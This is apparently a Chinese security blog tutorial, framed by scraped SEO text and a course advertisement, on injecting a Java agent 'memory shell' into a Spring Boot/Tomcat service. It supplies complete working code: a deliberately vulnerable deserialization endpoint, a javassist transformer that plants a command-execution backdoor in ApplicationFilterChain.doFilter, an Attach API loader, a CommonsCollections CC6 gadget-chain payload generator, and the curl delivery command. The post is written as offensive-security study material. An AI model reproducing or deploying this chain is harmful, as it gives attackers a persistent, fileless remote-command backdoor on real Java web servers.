淮安做网站公司,熟悉网站空间 域名等相关知识,极简 单页面网站模板,南京app制作开发公司写在前面
前面我们对JAVA中的Agent技术进行了简单的学习#xff0c;学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫#xff0c;接下来我们就来看看Agent内存马的实现。
这是内存马系列篇的第十三篇了。
环境搭建
我这里就使用Springboot来搭建一个简单的漏洞…写在前面
前面我们对JAVA中的Agent技术进行了简单的学习学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫接下来我们就来看看Agent内存马的实现。
这是内存马系列篇的第十三篇了。
环境搭建
我这里就使用Springboot来搭建一个简单的漏洞环境对于agent内存马的注入我这里搭建的是一个具有明显的反序列化漏洞的web服务通过反序列化漏洞来进行内存马的注入
IDEA新建一个springboot项目
漏洞代码
package com.roboterh.vuln.controller;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;Controller
public class CommonsCollectionsVuln {ResponseBodyRequestMapping(/unser)public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {java.io.InputStream inputStream request.getInputStream();ObjectInputStream objectInputStream new ObjectInputStream(inputStream);objectInputStream.readObject();response.getWriter().println(successfully!!!);}ResponseBodyRequestMapping(/demo)public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{response.getWriter().println(This is a Demo!!!);}
}在/unser路由中获取了请求体的序列化数据进行反序列化调用
在/demo路由中返回了一个字符串
我打算的是通过CC链进行写入。
添加依赖。
dependencygroupIdcommons-collections/groupIdartifactIdcommons-collections/artifactIdversion3.2.1/version
/dependency正式注入
编写agent.jar
有了前面的知识我们知道在一个运行中的web服务中对于premain方法的调用方式不太适用更实用的是通过agentmain方法的调用。
在通过内置的Attach API进行加载之后将会调用这个方法进行动态修改字节码所以如果我们能够在该方法中实现我们的恶意逻辑就能够达到我们的目的。
但是怎么才能注入内存马使得能够与用户请求进行交互式的命令执行捏这里我们是通过类似于前面提到过的在Tomcat Filter内存马类似的思想通过利用org.apache.catalina.core.ApplicationFilterChain#doFilter方法。
只是对于前面所提到的Filter型内存马的实现主要是通过动态添加了一个过滤器通过配置特定的路由和调用对应的doFilter方法进行利用。
这里我们注入agent内存马主要是通过使用前面基础部分讲过的通过javassist框架进行修改doFilter方法的字节码。
非常友好的是在doFilter方法中存在有ServletRequest / ServletResponse实例可以直接和请求进行交互。 好了接下来看看实现我们可以简化为以下关键的几步 通过addTransformer方法的调用来添加一个实现了java.lang.instrument.ClassFileTransformer接口的一个类。 之后通过调用retransformClasses方法来触发前面添加的转换器的transform方法来修改传入的类的对应方法的字节码。 首先是一个存在有agentmain方法的AgentDemo类。
import java.lang.instrument.Instrumentation;public class AgentDemo {public static final String ClassName org.apache.catalina.core.ApplicationFilterChain;public static void agentmain(String agentArgs, Instrumentation inst) {inst.addTransformer(new TransformerDemo(), true);Class[] allLoadedClasses inst.getAllLoadedClasses();for (Class aClass : allLoadedClasses) {if (aClass.getName().equals(ClassName)) {System.out.println(AgentDemo...);try {inst.retransformClasses(new Class[]{aClass});} catch (Exception e) {e.printStackTrace();}}}}
}首先定义了一个我们想要修改的类名ClassName字符串之后在agentmain方法中添加进入一个我们实现的转换器将第二个参数置为了true。 设置这个转换器是否可以再次进行转换之后通过调用getAllLoadedClasses方法来获取所有在JVM中加载的类之后就是匹配我们我们需要修改的类名如果成功匹配我们调用retransformClasses方法转入需要修改的类。
接下来就是ClassFileTransformer接口的实现类TransformerDemo类的逻辑。
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class TransformerDemo implements ClassFileTransformer {public static final String ClassName org.apache.catalina.core.ApplicationFilterChain;public byte[] transform(ClassLoader loader, String className, Class? classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {className className.replace(/,.);if (className.equals(ClassName)){System.out.println(Find the Inject Class: ClassName);ClassPool pool ClassPool.getDefault();try {CtClass c pool.getCtClass(className);CtMethod m c.getDeclaredMethod(doFilter);m.insertBefore(javax.servlet.http.HttpServletRequest req request;\n javax.servlet.http.HttpServletResponse res response;\n java.lang.String cmd request.getParameter(\cmd\);\n if (cmd ! null){\n try {\n java.io.PrintWriter printWriter response.getWriter();\n ProcessBuilder processBuilder;\n String o \\;\n if (System.getProperty(\os.name\).toLowerCase().contains(\win\)) {\n processBuilder new ProcessBuilder(new String[]{\cmd.exe\, \/c\, cmd});\n } else {\n processBuilder new ProcessBuilder(new String[]{\/bin/bash\, \-c\, cmd});\n }\n java.util.Scanner scanner new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter(\\\A\);\n o scanner.hasNext() ? scanner.next() : o;\n scanner.close();\n printWriter.println(o);\n printWriter.flush();\n printWriter.close();\n } catch (Exception e){\n e.printStackTrace();\n }\n });System.out.println(insertBefore....);byte[] bytes c.toBytecode();c.detach();return bytes;} catch (Exception e){e.printStackTrace();}}return new byte[0];}
}同样在该类中定义了一个需要修改的字符串ClassName最后在transform方法中就是我们的主要逻辑
通过调试在这里我们得到的className的传参是一个使用/符号作为包名的分隔符所以我们在transform中首先将/替换成了.符号之后进行匹配如果成功匹配之后就是对字节码的修改操作了
对于字节码的修改操作不仅可以使用javassist框架进行字节码的操作也可以使用ASM等框架进行修改
这里我是使用的是javassist框架获取到了目标类的doFilter方法调用其中的API即是insertBefore方法将我们的逻辑写在该方法的前面以至于不会影响原生方法的逻辑。
其中写入的代码 也就是一个经典的将传入的cmd参数进行命令执行并将结果进行了返回之后将我们修改后的doFilter方法的字节码返回。
最后我们可以分别编译后得到一个agent.jar包
序列化数据的编写
前面已经创建了一个agent.jar这个包我们需要将这个包attach进JVM中
前面提到我们通过CC链进行注入所以我们需要编写一个继承了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类的类。
package pers.cc;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;public class agentInject extends AbstractTranslet {static {try {// 恶意agent的位置String AgentPath xx\\Agent.jar;// 在JVM启动时没有加载tools.jar这里通过URLClassLoader进行加载URL toolsUrl new URL(file:///xx/lib/tools.jar);URLClassLoader loader URLClassLoader.newInstance(new URL[]{toolsUrl});// 加载tools.jar包中的 VirtualMachine / VirtualMachineDescriptor 类Class? VirtualMachine loader.loadClass(com.sun.tools.attach.VirtualMachine);Class? VirtualMachineDescriptor loader.loadClass(com.sun.tools.attach.VirtualMachineDescriptor);// 反射获取list方法Method listMethod VirtualMachine.getDeclaredMethod(list, null);// 通过调用list方法获取JVM绑定的服务ListObject list (java.util.ListObject) listMethod.invoke(VirtualMachine, null);for (int i 0; i list.size(); i) {// 遍历所有的服务获取其名称组件Object o list.get(i);Method displayName VirtualMachineDescriptor.getDeclaredMethod(displayName,null);String name (String) displayName.invoke(o,null);System.out.println(name);// 判断需要注入的组件名称if (name.contains(com.roboterh.vuln.Application)){// 获取对应的pid进程号Method getId VirtualMachineDescriptor.getDeclaredMethod(id,null);String id (String) getId.invoke(o,null);System.out.println(id id);Method attach VirtualMachine.getDeclaredMethod(attach,new Class[]{java.lang.String.class});Object vm attach.invoke(o,new Object[]{id});// 调用loadAgent动态加载agentMethod loadAgent VirtualMachine.getDeclaredMethod(loadAgent,new Class[]{java.lang.String.class});loadAgent.invoke(vm,new Object[]{ AgentPath });// 断开Method detach VirtualMachine.getDeclaredMethod(detach,null);detach.invoke(vm,null);System.out.println(Inject Success!);break;}}} catch (Exception e) {e.printStackTrace();}}Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}简单提一下代码中的关键点 将逻辑放在static代码块中使得一加载就会触发其中的逻辑 因为在在JVM启动的时候并不会加载com.sun.tools.attach.VirtualMachine等类存在的tools.jar包所以我们需要通过URLClassLoader的方法来获取VirtualMachine / VirtualMachineDescriptor等类 在我们筛选我们想要注入的组件获取他的PID之后通过反射调用loadAgent的方法进行恶意agent.jar的加载最后通过detach进行取消代理。 这里我选用的是使用CC6_plus的链子进行序列化数据的生成。
package pers.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6_plus {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{byte[] bytes FileUtil.readAsByteArray(new File(xx\\agentInject.class));TemplatesImpl obj new TemplatesImpl();setFieldValue(obj, _bytecodes, new byte[][]{bytes});setFieldValue(obj, _name, 1);setFieldValue(obj, _tfactory, new TransformerFactoryImpl());InstantiateFactory instantiateFactory;instantiateFactory new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});FactoryTransformer factoryTransformer new FactoryTransformer(instantiateFactory);ConstantTransformer constantTransformer new ConstantTransformer(1);Map innerMap new HashMap();LazyMap outerMap (LazyMap)LazyMap.decorate(innerMap, constantTransformer);TiedMapEntry tme new TiedMapEntry(outerMap, keykey);Map expMap new HashMap();expMap.put(tme, valuevalue);setFieldValue(outerMap,factory,factoryTransformer);outerMap.remove(keykey);serialize(expMap);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out new ObjectOutputStream(new FileOutputStream(1.ser));out.writeObject(obj);}
}注入演示
我们运行漏洞环境之后将我们生成的1.ser文件中的序列化数据发送。
curl -v http://localhost:9999/unser --data-binary ./1.ser能够在控制台中发现一些输出。 如果你存在有insertBefore....这几个字符串那么恭喜你你成功了。 能够成功执行命令。
其中执行命令的调用栈是。
start:1007, ProcessBuilder (java.lang)
doFilter:140, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)总结
这个内存马算是我搞得比较久的一个内存马了主要是中间出现了好多好多的问题还好时间没有白费还是一步一个脚印的将所有错误debug解决了不得不说debug是个好东西。
最后
分享一个快速学习【网络安全】的方法「也许是」最全面的学习方法 1、网络安全理论知识2天 ①了解行业相关背景前景确定发展方向。 ②学习网络安全相关法律法规。 ③网络安全运营的概念。 ④等保简介、等保规定、流程和规范。非常重要
2、渗透测试基础一周 ①渗透测试的流程、分类、标准 ②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking ③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察 ④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础一周 ①Windows系统常见功能和命令 ②Kali Linux系统常见功能和命令 ③操作系统安全系统入侵排查/系统加固基础
4、计算机网络基础一周 ①计算机网络基础、协议和架构 ②网络通信原理、OSI模型、数据转发流程 ③常见协议解析HTTP、TCP/IP、ARP等 ④网络攻击技术与网络安全防御技术 ⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作2天 ①数据库基础 ②SQL语言基础 ③数据库安全加固
6、Web渗透1周 ①HTML、CSS和JavaScript简介 ②OWASP Top10 ③Web漏洞扫描工具 ④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等 恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k。
到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗
想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取 扫下方二维码免费领取
有了这些基础如果你要深入学习可以参考下方这个超详细学习路线图按照这个路线学习完全够支撑你成为一名优秀的中高级网络安全工程师
高清学习路线图或XMIND文件点击下载原文件
还有一些学习中收集的视频、文档资源有需要的可以自取 每个成长路线对应板块的配套视频 当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。 因篇幅有限仅展示部分资料需要的可以【扫下方二维码免费领取】